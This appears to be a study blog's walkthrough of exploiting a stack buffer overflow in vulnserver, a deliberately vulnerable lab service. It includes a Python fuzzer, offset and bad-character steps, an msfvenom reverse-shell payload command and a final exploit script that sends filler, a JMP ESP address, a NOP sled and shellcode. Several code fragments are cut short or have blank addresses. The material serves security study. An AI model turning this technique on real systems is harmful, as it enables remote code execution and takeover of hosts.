Exploiting Vulnserver Buffer Overflow Walkthrough

I just finished the buffer overflow section of studying for OSCP.  Let’s apply the methodology and techniques in the textbook to vulnserver, a service that is purposefully vulnerable.  It is only available on Windows machines.

What you will need if you are following along:

  • Windows machine
    • Immunity Debugger
    • vulnserver program
    • mona.py
  • Kali Linux machine
    • python (I use python3)
    • metasploit
      • for msf-pattern_create and msf-pattern_offset


This walkthrough assumes you already know the basics of x86 assembly, but I will explain along the way as well.

Our goal in a buffer overflow is to find an input to the program that has an unchecked buffer size, and overfill the buffer precisely such that our malicious code will be executed by the program itself. 

This means that we could potentially send one long string to a program and achieve remote shell!  Pretty powerful!


Relevant registers are EAX, ESP, EIP

Eax is the accumulator register.  In our case, the string we send to vulnserver will be moved from the stack to eax. 

Esp points to the top of the stack.

Eip holds the address in memory to be executed next.


If we can control eip, we can control execution flow.  We could change the value of eip to a location in memory that contains shellcode.  The shellcode will execute and connect to our Kali machine.



Let’s download vulnserver on Windows and run it as administrator.  By default, it runs on port 9999. 

Also run Immunity Debugger as administrator and go to file > attach > vulnserver.  Upon attaching, the debugger will pause the program, so make sure to hit the play button and resume. 

Connecting to it on Kali with netcat allows us to see the possible commands:

Vulnserver consists of 12 commands that accept a value as a parameter. 

We can spike each command to see if it is susceptible to a buffer overflow!


We will test each of the 12 commands for a buffer overflow.  This can be done with the ‘generic_send_tcp’ linux command and a spike script. 

Usage: generic_tcp_send host port spike_script SKIPVAR SKIPSTR

To save time, the TRUN command is susceptible to buffer overflow, and when we run the spiking script, vulnserver crashes. The spike_script is slightly different when testing each command, replacing “TRUN” with the command you are testing, like “LTER”. 


# trun.spk
s_string("TRUN ");

We can tell this succeeded because upon examining Immunity Debugger, we see that ’41’, the hex code for ASCII ‘A’ appears in registers EBP and EIP upon crashing:

So what has happened here?  The spiking script sent “TRUN /.:/” along with a bunch of ‘A’s to vulnserver.  Eventually, the input got large enough to crash vulnserver. 

The input got so large, that it ended up overwriting and occupying the locations on the stack reserved for referencing the current function’s stack frame as well as the instruction pointer.  Vulnserver crashed because there was no valid instruction located at the address pointed to by EIP. 
If there were valid instructions, it could potentially keep executing and not crash. 


Now that we know TRUN command is susceptible to buffer overflow, we can fuzz the input by passing increasingly larger payloads to vulnserver until it crashes.  When it crashes, we can check the size of the last payload to estimate how big our buffer overflow exploit must be. 

This can be easily achieved by writing a Proof-of-Concept Python script and running it on our Kali machine:

import socket, sys
from time import sleep
buffer = b"A"*100

while True:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('', 9999))
        s.send((b'TRUN /.:/' + buffer))

        buffer = buffer + b'A' * 100

        print(f"Fuzzing crashed at {str(len(buffer))} bytes.")

Once we run this python script, we will check Immunity Debugger and wait until vulnserver crashes.  Once it does, we can go back into our Kali machine and exit the Python script.  Since the script keeps running and doesn’t error out when trying to connect to a crashed vulnserver, the accuracy of the Python script depends on how quickly we exit it after vulnserver crashes.  But we can just go ahead and estimate ~3000 bytes – for science. 

Finding the Offset

Now that we know a general size for the payload to send, we can start narrowing down how many exact bytes it will take to overwrite EIP with our custom code.

We estimated ~3000 bytes for the payload from the previous step, so let’s generate a 3000-byte long string with a non-repeating pattern.  Then send this string to vulnserver and when it crashes, we can examine in Immunity Debugger what part of the pattern is in EIP.  Using the value of the pattern in EIP, we can determine the offset that value appears in the pattern.  With the offset, we know how many bytes of ‘filler’ to preceed our payload. 

The pattern can be generated with the metasploit command: msf-pattern_create, specifying the length with -l 3000:

Send this right after the “TRUN” command:

Checking Immunity Debugger shows vulnserver crashed because of an access violation.  It tried to execute the instructions at the address in EIP, 0x386F4337. 

We can also note the generated pattern in EAX, and also in ESP. 

To figure out the offset of ‘386F4337’ in the pattern, we can use msf-pattern_offset, specifying the length with -l 3000, and the sub-pattern to match with -q 386F4337:

So, whatever bytes we put at offset +2003 in our payload, will be put into EIP, and vulnserver will try to execute the assembly code located at that address. 

Overwriting EIP

Lets test this out by replacing whatever is at +2003 bytes from the beginning of the payload and sending it to vulnserver:

Here, I add a ‘Z’ (ox5A) at offset +2002 to be able to view it in the debugger more easily.  The ‘Z’ should be at the end, so we know this is little-endian. 

The important part here is the 42424242 in EIP.  ’42’ is hex for ascii ‘B’.  We successfully overwrote EIP with whatever address we wanted!

Finding Bad Characters

Depending on the program, certain hex characters may be reserved for special commands and could crash or have unwanted effects on the program if executed.  An example is 0x00, the null byte.  When the program encounters this hex character, it will mark the end of a string or command.  This could make our shellcode useless if the program will only execute a part of it.

To figure out what hex characters we can’t use in the shellcode, we can just send a payload with all bytes from 0x01 – 0xFF and examine the program’s memory to look for anomalies. 

We can modify the PoC as follows:

import socket, sys
from time import sleep

badchars = (b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"

buffer = b"A"*2002
rand = b"Z"
eip = b"B"*4
esp = b"C"*10

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('', 9999))
s.send((b'TRUN /.:/' + buffer + rand + eip + badchars)) #modified here

Notice we send badchars after EIP.  Whatever we include after EIP will be put on the stack, pointed to by ESP. 

Examining the memory dump in Immunity Debugger:

We can see our payload made it into memory without any hiccups.  If, for example, the program used byte 0x70 as an operand, then the 70 would show up different in memory.  But looks like vulnserver doesn’t have any bad characters (except for 0x00 that we omitted because null-byte).

Finding the Right Module

So far, we have been able to overwrite EIP and determine there are no bad characters.  Now all we have to do is create our shellcode and determine where to place it, and figure out how to execute it. 

A general approach is to place the shellcode into ESP, like where we put badchars in the previous step.  To execute, we can point EIP to an address in memory that contains the operation: JMP ESP. 

We need to find an address that contains the operation JMP ESP, but there are many protection mechanisms that will make predicting the addresses of certain modules or dynamic memory impossible such as ASLR, rebase, and more.  Use mona.py (just download from github and place into Immunity Debugger’s program file folder) to see if there are any modules (included libraries) that don’t have any protection mechanisms:

!mona modules

Looks like essfunc.dll has no protection mechanisms.  Let’s find all the occurrences  of ‘JMP ESP’.

!mona find -s "\xff\xe4" -m "essfunc.dll", where -s  is the byte string to search for, and -m  specifies the module to search in

We found 9 locations in memory (that won’t change addresses when we restart program) that hold the instruction ‘JMP ESP’. 

If we found any bad characters from the previous step, we could check the results for any bad characters.  For example, if we found out from previous step that 0x62 was a bad character, we would have to use a different module because all these results include ‘0x62’. But since we didn’t, we can use any of these results.  

Generating Shellcode

Again, keeping in mind bad characters, we need to generate shellcode that doesn’t include any bytes that are bad.  We don’t have to worry about it for vulnserver, but have to remember this in general.

Shellcode can be generated with msfvenom, specifying 0x00 as a bad character with shikata_ga_nai encoding:

osboxes@osboxes:~/Documents/buffer overflow$ msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 -f c -e x86/shikata_ga_nai -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] = 

Let’s update our PoC with all the new info:

import socket, sys
from time import sleep

shellcode = (b"\xb8\xee\xea\x1b\x81\xdb\xdd\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"

buffer = b"A"*2002
rand = b"Z"
epi = b"\xaf\x11\x50\x62"
#esp = b"C"*10
nops = b"\x90"*10

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('', 9999))
s.send((b'TRUN /.:/' + buffer + rand + epi + nops + shellcode)) #modified

Here, I replace EIP with the little-endian byte-representation of the 0x625011af address, followed by a 10-byte NOP sled, and finally the shellcode.

Initially, I tried without the NOP sled, but due to the encoding of the shellcode, it mangles the first couple bytes in ESP when decoding and the exploit doesn’t work.  But if we include the NOP sled, the shellcode executes as normal (vulnserver just skips the NOPs) and the shellcode doesn’t get mangled.

Let’s start a netcat listener on the Kali machine and run the script!

After running the shellcode, we get a reverse shell!  Let’s check out Immunity Debugger to see what’s going on:I set a breakpoint on the 0x625011af address.  When execution jumps to ESP, that’s where we put our NOP sled and shellcode!

Leave a Reply